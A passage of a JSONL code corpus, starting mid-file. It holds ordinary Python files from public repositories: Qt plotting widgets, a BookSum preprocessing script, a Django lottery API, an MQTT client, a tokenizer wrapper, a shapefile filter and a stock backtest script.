xa for xa, xb in zip(sx[:-1], sx[1:])])\n except ValueError:\n dx = 1\n\n w, sw, kw = dx * 0.7, dx * 0.55, dx * 0.35\n old_brush = p.brush()\n for x, (lower, q1, q2, q3, upper), (min_, max_, mean_, std_), es in self.data:\n _y_min, _y_max = lower, upper\n iqr = q3 - q1\n\n p.setPen(pg.mkPen('w'))\n p.setBrush(old_brush)\n if q3 != upper:\n p.drawLine(QPointF(x, q3), QPointF(x, upper))\n if q1 != lower:\n p.drawLine(QPointF(x, q1), QPointF(x, lower))\n p.drawLine(QPointF(x - sw / 2, upper), QPointF(x + sw / 2, upper))\n p.drawLine(QPointF(x - sw / 2, lower), QPointF(x + sw / 2, lower))\n\n p.setPen(pg.mkPen('w'))\n p.setBrush(pg.mkBrush('#999999'))\n p.drawRect(QRectF(x - w / 2, q1, w, q2 - q1))\n p.drawRect(QRectF(x - w / 2, q2, w, q3 - q2))\n\n if min_ >= q1 - 3 * iqr:\n _y_min = min(_y_min, min_)\n p.setPen(pg.mkPen('g'))\n p.drawLine(QPointF(x - sw / 2, min_), QPointF(x + sw / 2, min_))\n\n if max_ <= q3 + 3 * iqr:\n _y_max = max(_y_max, max_)\n p.setPen(pg.mkPen('r'))\n p.drawLine(QPointF(x - sw / 2, max_), QPointF(x + sw / 2, max_))\n\n p.setPen(pg.mkPen('b'))\n p.drawLine(QPointF(x - sw / 2, mean_), QPointF(x + sw / 2, mean_))\n\n self.x_min = min(self.x_min, x - w / 2)\n self.x_max = max(self.x_max, x + w / 2)\n self.y_min = min(self.y_min, _y_min)\n self.y_max = max(self.y_max, _y_max)\n current_box = QRectF(x - w / 2, q1, w, q3 - q1)\n self.boxs.append(\n (\n (x - w / 2, q1, w, q3 - q1),\n current_box,\n x,\n (lower, q1, q2, q3, upper),\n (min_, max_, mean_, std_),\n es\n )\n )\n\n finally:\n p.end()\n\n def paint(self, p, *args):\n p.drawPicture(0, 0, self.picture)\n\n def boundingRect(self):\n return QRectF(self.picture.boundingRect())\n\n def mouseClickEvent(self, ev):\n if ev.button() == Qt.LeftButton:\n px, py = ev.pos().x(), ev.pos().y()\n data, pbox = None, None\n for (x_, y_, w_, h_), pbox, x, qs, mx, es in self.boxs:\n if x_ <= px <= x_ + w_ and y_ <= py <= y_ + h_:\n data = (x, qs, mx, es)\n break\n\n if data is not None:\n ev.accept()\n x, qs, mx, es = data\n self.boxClicked.emit(pbox, x, qs, mx, es)\n else:\n ev.ignore()\n else:\n ev.ignore()\n\n\nclass FormBoxplot(QWidget, UIFormBoxplot):\n def __init__(self):\n QWidget.__init__(self)\n self.__lock = Lock()\n self.setupUi(self)\n self._init()\n\n def _init(self):\n self._init_window_size()\n self._init_tabs()\n self._init_button_open()\n self._init_combo_x()\n self._init_combo_y()\n self._init_widget_graph()\n self._init_button_display()\n self._init_button_export()\n self._init_button_show_errors()\n\n def _init_window_size(self):\n self.setFixedSize(self.width(), self.height())\n self.setMaximumSize(self.width(), self.height())\n self.setWindowFlags(self.windowFlags() & ~Qt.WindowMaximizeButtonHint)\n\n def _init_tabs(self):\n self.tabs_pages.setCurrentIndex(0)\n\n def _init_button_open(self):\n def _open():\n filename, _ = QFileDialog.getOpenFileName(\n self, '\u6570\u636e\u52a0\u8f7d', filter='*.csv', initialFilter='*.csv')\n if filename:\n with self.__lock:\n self.button_open.setEnabled(False)\n self.button_display.setEnabled(False)\n\n df = pd.read_csv(filename)\n\n n = len(df)\n names = [name for name in df.columns]\n m = len(names)\n model = QStandardItemModel(n, m)\n model.setHorizontalHeaderLabels(names)\n\n for i in range(n):\n for j, name in enumerate(names):\n item = QStandardItem(str(df[name][i]))\n item.setEditable(False)\n model.setItem(i, j, item)\n\n self.table_data.setProperty('data', df)\n self.table_data.setProperty('names', names)\n self.table_data.setModel(model)\n\n self.combo_x.clear()\n for name in names:\n self.combo_x.addItem(name)\n\n self.combo_y.clear()\n for name in names:\n self.combo_y.addItem(name)\n\n data_okay = len(names) > 0 and len(df) > 0\n self.button_open.setEnabled(True)\n self.combo_x.setEnabled(data_okay)\n self.combo_y.setEnabled(data_okay)\n self.button_display.setEnabled(data_okay)\n self.button_export.setEnabled(False)\n graph = self.widget_graph.property('graph')\n if graph is not None:\n graph.deleteLater()\n QMessageBox.information(self, '\u6570\u636e\u52a0\u8f7d', '\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff01')\n\n self.button_open.clicked.connect(_open)\n\n def _init_combo_x(self):\n self.combo_x.view().setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n\n def _init_combo_y(self):\n self.combo_y.view().setVerticalScrollBarPolicy(Qt.ScrollBarAsNeeded)\n\n def _init_widget_graph(self):\n self.widget_graph.setProperty('graph', None)\n\n def _init_button_display(self):\n def _click():\n with self.__lock:\n xname = self.combo_x.currentText()\n yname = self.combo_y.currentText()\n\n df = self.table_data.property('data')[[xname, yname]]\n dfc = df[(df[xname] >= 0.0) & (df[yname] >= 0.0)]\n self.button_export.setEnabled(False)\n graph = self.widget_graph.property('graph')\n if graph is not None:\n graph.deleteLater()\n\n view = pg.GraphicsLayoutWidget(self.widget_graph, show=True,\n size=(self.widget_graph.width(), self.widget_graph.height()))\n view.addLabel(yname, angle=-90, rowspan=1)\n w1 = view.addPlot()\n view.nextRow()\n view.addLabel(xname, col=1, rowspan=1)\n self.widget_graph.setProperty('graph', view)\n\n series: pd.Series = get_box_group(dfc, xname, yname)\n item = CandlestickItem([(x, qs, mx, es) for x, (qs, mx, es) in series.items()])\n\n clicked_pen = pg.mkPen('b', width=2)\n last_box = None\n\n def _box_click(box: QRectF, x, qs, mx, es):\n lower, q1, q2, q3, upper = qs\n min_, max_, mean_, std_ = mx\n\n self.label_x_value.setText(f'{xname}: {x}')\n self.label_valid_total.setText(f'\u6709\u6548 / \u603b\u91cf: {len(dfc)} / {len(df)}')\n self.label_max.setText(f'\u6700\u5927\u503c: {max_}')\n self.label_min.setText(f'\u6700\u5c0f\u503c: {min_}')\n self.label_mean.setText(f'\u5747\u503c: {mean_}')\n self.label_std.setText(f'\u6807\u51c6\u5dee: {std_}')\n self.label_qs.setText(f'\u4e00\u5206 / \u4e8c\u5206 / \u4e09\u5206: %.3f / %.3f / %.3f' % (q1, q2, q3))\n self.label_bound.setText(f'\u4e0b\u754c / \u4e0a\u754c: %.4f / %.4f' % (lower, upper))\n self.label_errors.setText(f'\u5f02\u5e38\u503c\u6570\u91cf: {len(es)}')\n self.label_errors.setProperty('es', es)\n self.button_show_errors.setEnabled(True)\n\n item.boxClicked.connect(_box_click)\n w1.addItem(item)\n\n dx = item.x_max - item.x_min\n w1.setXRange(item.x_min - dx * 0.1, item.x_max + dx * 0.1)\n\n dy = item.y_max - item.y_min\n w1.setYRange(item.y_min - dy * 0.1, item.y_max + dy * 0.1)\n\n self.tabs_pages.setCurrentIndex(1)\n self.label_valid_total.setText(f'valid / total: {len(dfc)} / {len(df)}')\n self.button_export.setEnabled(True)\n QMessageBox.information(self, '\u663e\u793a\u7bb1\u7ebf\u56fe', '\u7bb1\u7ebf\u56fe\u663e\u793a\u5b8c\u6bd5\uff01')\n\n self.button_display.clicked.connect(_click)\n\n def _init_button_export(self):\n def _export():\n with self.__lock:\n view: pg.GraphicsLayoutWidget = self.widget_graph.property('graph')\n\n filename, filter_ = QFileDialog.getSaveFileName(\n self, '\u5bfc\u51fa\u56fe\u50cf',\n filter='SVG\u77e2\u91cf\u56fe\u7247 (*.svg);;PNG\u56fe\u7247 (*.png)',\n initialFilter='SVG\u77e2\u91cf\u56fe\u7247 (*.svg)',\n )\n if 'svg' in filter_:\n exporter = pg.exporters.SVGExporter(view.scene())\n elif 'png' in filter_:\n exporter = pg.exporters.ImageExporter(view.scene())\n else:\n raise ValueError(f'\u65e0\u6cd5\u8bc6\u522b\u7684\u6587\u4ef6\u683c\u5f0f - {filter_}.')\n\n exporter.export(filename)\n QMessageBox.information(self, '\u5bfc\u51fa\u56fe\u50cf', '\u56fe\u50cf\u5bfc\u51fa\u5b8c\u6bd5\uff01')\n\n self.button_export.clicked.connect(_export)\n\n def _init_button_show_errors(self):\n def _click():\n es = self.label_errors.property('es')\n QMessageBox.information(self, '\u5f02\u5e38\u503c\u4fe1\u606f',\n f'\u5f02\u5e38\u503c\u5982\u4e0b\u6240\u793a (\u5171\u8ba1{len(es)}\u4e2a):\\n'\n f'{os.linesep.join(map(str, sorted(es)))}')\n\n self.button_show_errors.clicked.connect(_click)\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2011 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guidata/__init__.py for details)\n\n\"\"\"\nqtwidgets\n---------\n\nThe ``guidata.qtwidgets`` module provides ready-to-use or generic widgets \nfor developing easily Qt-based graphical user interfaces.\n\"\"\"\n\nfrom math import cos, sin, pi\nfrom qtpy import PYQT5\nfrom qtpy.QtWidgets import QLabel, QWidget, QDockWidget\nfrom qtpy.QtGui import QPainter, QPen\nfrom qtpy.QtCore import QSize, Qt\n\n# Local imports:\nfrom guidata.configtools import get_family\n\n\nclass RotatedLabel(QLabel):\n \"\"\"\n Rotated QLabel\n (rich text is not supported)\n \n Arguments:\n * parent: parent widget\n * angle=270 (int): rotation angle in degrees\n * family (string): font family\n * bold (bool): font weight\n * italic (bool): font italic style\n * color (QColor): font color\n \"\"\"\n\n def __init__(\n self,\n text,\n parent=None,\n angle=270,\n family=None,\n bold=False,\n italic=False,\n color=None,\n ):\n QLabel.__init__(self, text, parent)\n font = self.font()\n if family is not None:\n font.setFamily(get_family(family))\n font.setBold(bold)\n font.setItalic(italic)\n self.setFont(font)\n self.color = color\n self.angle = angle\n self.setAlignment(Qt.AlignCenter)\n\n def paintEvent(self, evt):\n painter = QPainter(self)\n if self.color is not None:\n painter.setPen(QPen(self.color))\n painter.rotate(self.angle)\n transform = painter.transform().inverted()[0]\n rct = transform.mapRect(self.rect())\n painter.drawText(rct, self.alignment(), self.text())\n\n def sizeHint(self):\n hint = QLabel.sizeHint(self)\n width, height = hint.width(), hint.height()\n angle = self.angle * pi / 180\n rotated_width = abs(width * cos(angle)) + abs(height * sin(angle))\n rotated_height = abs(width * sin(angle)) + abs(height * cos(angle))\n return QSize(rotated_width, rotated_height)\n\n def minimumSizeHint(self):\n return self.sizeHint()\n\n\nclass DockableWidgetMixin(object):\n ALLOWED_AREAS = Qt.AllDockWidgetAreas\n LOCATION = Qt.TopDockWidgetArea\n FEATURES = (\n QDockWidget.DockWidgetClosable\n | QDockWidget.DockWidgetFloatable\n | QDockWidget.DockWidgetMovable\n )\n\n def __init__(self, parent):\n self.parent_widget = parent\n self._isvisible = False\n self.dockwidget = None\n self._allowed_areas = self.ALLOWED_AREAS\n self._location = self.LOCATION\n self._features = self.FEATURES\n\n def setup_dockwidget(self, location=None, features=None, allowed_areas=None):\n assert (\n self.dockwidget is None\n ), \"Dockwidget must be setup before calling 'create_dockwidget'\"\n if location is not None:\n self._location = location\n if features is not None:\n self._features = features\n if allowed_areas is not None:\n self._allowed_areas = allowed_areas\n\n def get_focus_widget(self):\n pass\n\n def create_dockwidget(self, title):\n \"\"\"Add to parent QMainWindow as a dock widget\"\"\"\n dock = QDockWidget(title, self.parent_widget)\n dock.setObjectName(self.__class__.__name__ + \"_dw\")\n dock.setAllowedAreas(self._allowed_areas)\n dock.setFeatures(self._features)\n dock.setWidget(self)\n dock.visibilityChanged.connect(self.visibility_changed)\n self.dockwidget = dock\n return (dock, self._location)\n\n def is_visible(self):\n return self._isvisible\n\n def visibility_changed(self, enable):\n \"\"\"DockWidget visibility has changed\"\"\"\n if enable:\n self.dockwidget.raise_()\n widget = self.get_focus_widget()\n if widget is not None:\n widget.setFocus()\n self._isvisible = enable and self.dockwidget.isVisible()\n\n\nclass DockableWidget(QWidget, DockableWidgetMixin):\n def __init__(self, parent):\n if PYQT5:\n super(DockableWidget, self).__init__(parent, parent=parent)\n else:\n QWidget.__init__(self, parent)\n DockableWidgetMixin.__init__(self, parent)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "\"\"\"\nThe script gathers summary and chapter data into a single jsonl file that we can later break into paragraphs\nthat align with the sentences from the summaries. The script is run separately for the train/test/val splits.\n\n\"\"\"\nimport argparse\nimport json\nimport os\nimport re\nimport spacy\n\nfrom tqdm import tqdm\n\ndef fix_leftover_headers(summary_content):\n \"\"\"\n Function removes leftover prefixes from the summary text, such as: Chapter 1, Chapter V, Analysis, etc.\n\n :param summary_content: summary text\n \"\"\"\n # remove 'chapter' text\n summary_content = [sent for sent in summary_content if not re.match(r\"^[- ]*Chapter[ ]?([0-9]{1,3}|[XVIL]{1,6})[ :.-]*$\", sent)]\n\n # remove 'analysis' text\n summary_content = [sent for sent in summary_content if not sent == \"Analysis\"]\n\n # remove floating punctuations\n summary_content = [sent for sent in summary_content if not sent == \"-\" or not sent == \".\"]\n\n return summary_content\n\n\ndef fix_prefix_punctuation(summary_content):\n \"\"\"\n Function merges sentences that start with a punctuation character\n\n :param summary_content: summary text\n \"\"\"\n # fix sentences starting with puncutation\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(r\"^[,.?!:-]\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_prefix_quotations(summary_content):\n \"\"\"\n Merge unclosed quotations with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n # merge floating quotations\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(r\"^[\\\"\\']$\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n elif fixed_content and re.match(r\"^[\\\"\\'] [a-z]\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n elif re.match(r\"^[\\\"\\'] [A-Z]\", sentence):\n sent_split = sentence.split(\" \")\n fixed_content[-1] = fixed_content[-1] + sent_split[0].strip()\n fixed_content.append(\" \".join(sent_split[1:]).strip())\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_unclosed_quotations(summary_content):\n \"\"\"\n Merge unclosed quotations with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and sum([True for ch in sentence if ch == '\"']) % 2 == 1 and sum([True for ch in fixed_content[-1] if ch == '\"']) % 2 == 1:\n fixed_content[-1] = fixed_content[-1].rstrip() + \" \" + sentence.lstrip()\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_noncapitalized_prefix(summary_content):\n \"\"\"\n Merge noncapitalized texts with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n # merge short sentences\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(\"^[ ]?[a-z]\", sentence):\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_short_sentences(summary_content):\n \"\"\"\n Merge short sentences with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n LEN_95_PERCENTILE = 20\n\n # merge short sentences\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if len(sentence) < LEN_95_PERCENTILE:\n if fixed_content and sentence[0].islower():\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n ix += 1\n elif ix+1 < len(summary_content):\n fixed_content.append(sentence + \" \" + summary_content[ix+1])\n ix += 2\n else:\n try:\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n except:\n print (\"sentence: \", sentence)\n print (\"summary_content: \", summary_content)\n print (\"fixed_content: \", fixed_content)\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef main(args):\n\n CHAPTER_SUMMARY_MATCHED_FILE = args.matched_file\n\n # load matched data\n with open(CHAPTER_SUMMARY_MATCHED_FILE) as fd:\n raw_data = [json.loads(line) for line in fd]\n\n spacy_nlp = spacy.load('en_core_web_lg', disable=[\"tagger\", \"ner\", \"textcat\",\"lemmatizer\"])\n\n CHAPTERIZED_BOOKS_DIR = \"../../\"\n FINISHED_SUMMARIES_DIR = \"../../scripts/\"\n\n # gather data\n processed_data = []\n for example in tqdm(raw_data):\n with open(os.path.join(CHAPTERIZED_BOOKS_DIR, example[\"chapter_path\"])) as fd:\n if args.join_strings:\n chapter_content = \" \".join([line.strip() for line in fd.readlines()])\n elif args.split_paragraphs:\n chapter_content = fd.read().split(\"\\n\\n\")\n chapter_content = [par.replace(\"\\n\", \" \").strip() for par in chapter_content]\n chapter_content = [par for par in chapter_content if par]\n else:\n raise RuntimeError(\"Unknown processing option\")\n\n summary_path = os.path.join(FINISHED_SUMMARIES_DIR, example[\"summary_path\"])\n\n if not os.path.exists(summary_path):\n continue\n \n with open(summary_path) as fd:\n if args.join_strings:\n summary_content = \" \".join([line.strip() for line in json.loads(fd.read())[\"summary\"]])\n elif args.split_paragraphs:\n summary_content = \" \".join([line.strip() for line in json.loads(fd.read())[\"summary\"]])\n summary_content = [sent.text.strip() for sent in spacy_nlp(summary_content).sents]\n summary_content = [sent for sent in summary_content if sent]\n\n summary_content = fix_leftover_headers(summary_content)\n summary_content = fix_prefix_punctuation(summary_content)\n summary_content = fix_prefix_quotations(summary_content)\n summary_content = fix_unclosed_quotations(summary_content)\n summary_content = fix_noncapitalized_prefix(summary_content)\n try:\n summary_content = fix_short_sentences(summary_content)\n except:\n print (\"Example: \", example)\n else:\n raise RuntimeError(\"Unknown processing option\")\n\n example[\"text\"] = chapter_content\n example[\"summary\"] = summary_content\n\n processed_data.append(example)\n\n # save gathered data\n with open(CHAPTER_SUMMARY_MATCHED_FILE + \".gathered\", \"w\") as fd:\n for example in processed_data:\n fd.write(json.dumps(example) + \"\\n\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--join_strings', action='store_true')\n parser.add_argument('--split_paragraphs', action='store_true')\n parser.add_argument('--matched_file', type=str, required=True)\n args = parser.parse_args()\n\n if args.join_strings and args.split_paragraphs or (not args.join_strings and not args.split_paragraphs):\n raise RuntimeError(\"Chose only one of the splitting options: `join_strings` or `split_paragraphs`\")\n\n main(args)\n\n\n", "source": "Yale-LILY/booksum", "license": "BSD-3-Clause"}
+{"text": "from django.http import JsonResponse\nfrom .models import Lottery\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\nfrom django.core.management import call_command\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef index(request):\n \"\"\"\n Example:\n\n // GET https://two.fake/newly.do?code=cqssc\n {\n \"rows\": 3,\n \"code\": \"cqssc\",\n \"data\": [\n {\n \"expect\": \"20190902003\",\n \"opencode\": \"3,8,1,9,5\",\n \"opentime\": \"2019-09-02 01:12:46\"\n },\n {\n \"expect\": \"20190902002\",\n \"opencode\": \"3,1,5,8,6\",\n \"opentime\": \"2019-09-02 00:52:37\"\n },\n {\n \"expect\": \"20190902001\",\n \"opencode\": \"6,1,9,0,3\",\n \"opentime\": \"2019-09-02 00:32:03\"\n }\n ]\n }\n \"\"\"\n if request.method == 'POST':\n action = request.POST.get('action')\n if action == 'create':\n call_command('createlottery')\n elif action == 'update':\n call_command('updatelottery')\n elif action == 'delete':\n call_command('deletelottery')\n return redirect(reverse('index'))\n objs = Lottery.objects.all()\n gamekey = request.GET.get('code')\n if gamekey:\n objs = Lottery.objects.filter(gamekey=gamekey)\n data = [{\n 'expect': obj.gid,\n 'opencode': obj.award,\n 'opentime': obj.updatetime.strftime('%Y-%m-%d %H:%M:%S'),\n } for obj in objs]\n else:\n gamekey = 'all'\n objs = Lottery.objects.all()\n data = [{\n 'expect': obj.gid,\n 'code': obj.gamekey,\n 'opencode': obj.award,\n 'opentime': obj.updatetime.strftime('%Y-%m-%d %H:%M:%S'),\n } for obj in objs]\n results = {\n \"rows\": objs.count(),\n \"code\": gamekey,\n \"data\": data,\n }\n return JsonResponse(results)\n", "source": "j3ygh/universetech-lotterydraw", "license": "MIT"}
+{"text": "class BaseAbort(object):\n def __init__(self, reason):\n self.reason = reason\n\nclass PythonAbort(BaseAbort):\n def __init__(self, reason, pycode, lineno):\n super(PythonAbort, self).__init__(reason)\n self.pycode = pycode\n self.lineno = lineno\n\n def visit(self, visitor):\n return visitor.visit_python_abort(self)", "source": "alex/tracebin", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/env python3\nimport json\n\n# pip install paho-mqtt\nimport paho.mqtt.client as mqtt\n\n\ndef on_connect(client, userdata, flags, rc):\n \"\"\"Called when connected to MQTT broker.\"\"\"\n client.subscribe(\"hermes/intent/#\")\n client.subscribe(\"hermes/nlu/intentNotRecognized\")\n print(\"Connected. Waiting for intents.\")\n\n\ndef on_disconnect(client, userdata, flags, rc):\n \"\"\"Called when disconnected from MQTT broker.\"\"\"\n client.reconnect()\n\n\ndef on_message(client, userdata, msg):\n \"\"\"Called each time a message is received on a subscribed topic.\"\"\"\n if msg.topic == \"hermes/nlu/intentNotRecognized\":\n sentence = \"Unrecognized command!\"\n print(\"Recognition failure\")\n else:\n # Intent\n nlu_intent = json.loads(msg.payload)\n print(\"Got intent:\", nlu_intent[\"intent\"][\"intentName\"])\n\n # Speak the text from the intent\n sentence = nlu_intent[\"input\"]\n\n client.publish(\"hermes/tts/say\", json.dumps({\"text\": sentence}))\n\n\n# Create MQTT client and connect to broker\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_disconnect = on_disconnect\nclient.on_message = on_message\n\nclient.connect(\"localhost\", 1883)\nclient.loop_forever()\n", "source": "WPettersson/rhasspy", "license": "MIT"}
+{"text": "from django.apps import AppConfig\n\n\nclass SocialOauthTokenConfig(AppConfig):\n name = \"social_oauth_token\"\n", "source": "khasbilegt/django-social-auth-token", "license": "MIT"}
+{"text": "### PROBLEM 1\n\ndef main():\n print(\"Name: Shaymae Senhaji\")\n print(\"Favorite Food: Brie Cheese\")\n print(\"Favorite Color: Red\")\n print(\"Favorite Hobby: Traveling\")\n\nif __name__ == \"__main__\":\n main()\n\n#Name: Shaymae Senhaji \n#Favorite Food: Brie Cheese\n#Favorite Color: Red\n#Favorite Hobby: Traveling \n", "source": "ATMS-207-Fall-2020/lab-2-ShaySen", "license": "MIT"}
+{"text": "import os\nimport subprocess\nfrom subprocess import Popen, PIPE\nimport logging as log\nfrom typing import Iterator, List\nimport threading\n\nfrom multiprocessing.pool import ThreadPool\n\nlog.basicConfig(level=log.DEBUG)\n\ndir_path = os.path.dirname(os.path.abspath(__file__))\neng_script_path = os.path.join(dir_path, 'ulf-eng-tok.sh')\nsrc_script_path = os.path.join(dir_path, 'ulf-src-tok.sh')\n\ndef tokenize(line: str) -> List[str]:\n \"\"\"Tokenize a single line .\n This is not efficient, please use tokenize_lines(...) instead\n \"\"\"\n return list(tokenize_lines([line]))[0]\n\ndef tokenize_lines(lines: Iterator[str], english_like=True) -> Iterator[List[str]]:\n \"\"\"Tokenize a stream of lines\"\"\"\n script_path = eng_script_path if english_like else src_script_path\n p = Popen(script_path, stdin=PIPE, stdout=PIPE, universal_newlines=True, bufsize=1)\n\n def write(iter, out):\n for line in iter:\n out.write(line + '\\n')\n out.close()\n\n writer = threading.Thread(target=write, args=(lines, p.stdin))\n writer.daemon = True\n writer.start()\n\n for out_line in p.stdout:\n yield out_line.strip().split()\n log.debug(f'stopping {p.pid}')\n p.kill()\n\n\ndef tokenize_files(inp_paths: List[str], outp_paths: List[str], jobs: int=None, english_like=True):\n assert len(inp_paths) == len(outp_paths)\n log.info(f\" Going to tokenize {len(inp_paths)} using {jobs} pool\")\n\n def tokenize_file(inp_path, out_path):\n script_path = eng_script_path if english_like else src_script_path\n cmd = f'{script_path} < {inp_path} > {out_path} '\n log.debug(f\" Going to tokenize {len(inp_paths)} using {jobs} pool\")\n status, _ = subprocess.getstatusoutput(cmd)\n\n pool = ThreadPool(jobs)\n for (inp, out) in zip(inp_paths, outp_paths):\n pool.apply_async(tokenize_file, (inp, out))\n\n pool.close()\n pool.join()\n\n\nif __name__ == '__main__':\n\n text = \"Hello,... this is a test! Is it good? http://isi.edu\"\n print(tokenize(text))\n lines = [text] * 10\n for line in tokenize_lines(lines):\n print(line)\n", "source": "isi-nlp/ulf-tokenizer", "license": "Apache-2.0"}
+{"text": "FirstNum = input(\"1st Number : \")\nSecondNum = input(\"2nd Number ; \")\nprint(int(FirstNum) + int(SecondNum))", "source": "ZnoKunG/PythonProject", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\nimport click\nimport fiona\nimport pdb\n\n@click.command()\n@click.argument('in_file', type=str)\n@click.argument('out_file', type=click.Path(dir_okay=False))\n@click.option('--vfs', type=str)\ndef doit(in_file, out_file, vfs):\n if vfs:\n input = fiona.open(in_file, vfs=vfs)\n else:\n input = fiona.open(in_file)\n # The output has the same schema\n output_schema = input.schema.copy()\n # write a new shapefile\n with fiona.open(out_file , 'w', 'ESRI Shapefile',output_schema,\n crs=input.crs) as output:\n for elem in filter(lambda feat: feat['properties'].get('type') == 'Land',\n input): \n print(\"processing %d\" % elem['properties'].get('OBJECTID'))\n output.write(elem)\n\nif __name__ == '__main__':\n doit()\n", "source": "ricardog/raster-project", "license": "Apache-2.0"}
+{"text": "from classes import Stock, format\nimport numpy as np\nimport os\nfrom datetime import date, timedelta\nfrom dateutil.parser import parse\nimport sys\n\n# datapath = 'formated/SZ#002673.json'\ndatapath = 'formated/SH#600007.json'\n# datapath = 'formated/SZ#000553.json'\n# amount = float(10000)\n\nstock = Stock()\n\n\ndef getFiles(dirname):\n files = None\n for dirpath, dirnames, filenames in os.walk(dirname):\n files = [os.path.join(dirpath, p) for p in filenames if p.endswith('.json')]\n return files\n\n\nfiles = getFiles('formated')\n\n\ndef getDates(arr):\n return [' - '.join([d['date'], str(d['close'])]) for d in arr]\n\n\ndef reformatItem(item, index):\n item['index'] = index\n item['odate'] = parse(item['date']).date()\n return item\n\n\n# result = []\n\n# amounts = []\n\n\ndef test(filepath, amount=float(10000), rate=0.1, begdate=date(2016, 1, 1), enddate=date(2017, 1, 1)):\n stock.load(filepath)\n nextDate = begdate\n total = len(stock.items)\n # print('rate = %s' % rate)\n # global result\n # global amounts\n durs = []\n turnings = [reformatItem(stock.items[i], i) for i in range(1, total - 1)\n if stock.isFirstTurningByMACD(stock.items[i], stock.items[i - 1])]\n for d in [d for d in turnings if d['odate'] >= begdate and d['odate'] < enddate]:\n if d['odate'] < nextDate:\n continue\n if d['odate'] > nextDate:\n nextDate = d['odate']\n # in\n num = int(amount / d['close'])\n for dd in [j for j in stock.items if parse(j['date']).date() > nextDate]:\n diff = dd['high'] - d['close']\n diffp = diff / d['close']\n if diffp >= rate:\n # out\n out = d['close'] * (1 + rate)\n\n diffout = out - d['close']\n dur = parse(dd['date']) - parse(d['date'])\n durs.extend([dur])\n # print('%s - %-5s | %s - %-7s open=%-5s,high=%-5s,close=%-5s | %-6s:%s | %s' % (\n # d['date'], d['close'], dd['date'], out, dd['open'], dd['high'],\n # dd['close'], diffout, num, dur))\n amount += diffout * num\n nextDate = parse(dd['date']).date()\n break\n # print('amount = {}'.format(amount))\n # lendurs = len(durs)\n # if not lendurs == 0:\n # result.extend(\n # [{'code': stock.code, 'amount': amount, 'durs': durs, 'avgtimes': sum(durs, timedelta()) / len(durs)}])\n # result.extend([{'code': stock.code, 'amount': amount, 'durs': durs, 'avgtimes': timedelta()}])\n # sortedDurs = sorted(durs, reverse=True)\n # if len(sortedDurs) > 0:\n # d = sortedDurs[0]\n # return {\n # 'code': stock.code,\n # 'rate': rate,\n # 'amount': amount,\n # 'period': d\n # }\n # return None\n lendurs = len(durs)\n avg = 0\n if lendurs > 0:\n avg = sum(durs, timedelta()) / lendurs\n return {\n 'times': lendurs,\n 'amount': amount,\n 'avgtime': avg,\n 'rate': rate\n }\n\n\ndef displayResult(arr):\n for d in arr:\n print('%-20s | %-10s' % (d['avgtimes'], d['amount']))\n\n\n# test(datapath)\n# for fp in files[:10]:\n# test(fp)\n\nresult = []\n\nlenfile = len(files)\ni = 1\n\nfor fp in files:\n periods = []\n\n for rate in np.arange(0.02, 0.1, 0.001)[::-1]:\n d = test(fp, rate=rate)\n periods.extend([d])\n sys.stdout.write('\\r%4d/%4d %5f' % (i,lenfile,rate))\n sys.stdout.flush()\n\n sp = sorted(periods, key=lambda d: (d['times'], d['amount']), reverse=True)\n if len(sp) > 0:\n first = sp[0]\n first['code'] = stock.code\n result.extend([first])\n i+=1\n\nsr = sorted(result, key=lambda d: (d['times'], d['amount']), reverse=True)\nprint (sr[:10])\n\n# sortedamounts = sorted(amounts, key=lambda (a, r): a)\n# print (sortedamounts)\n\n# sortedresult = sorted(result, key=lambda d: (d['avgtimes']))\n# displayResult(sortedresult)\n", "source": "m860/data-analysis-with-python", "license": "MIT"}
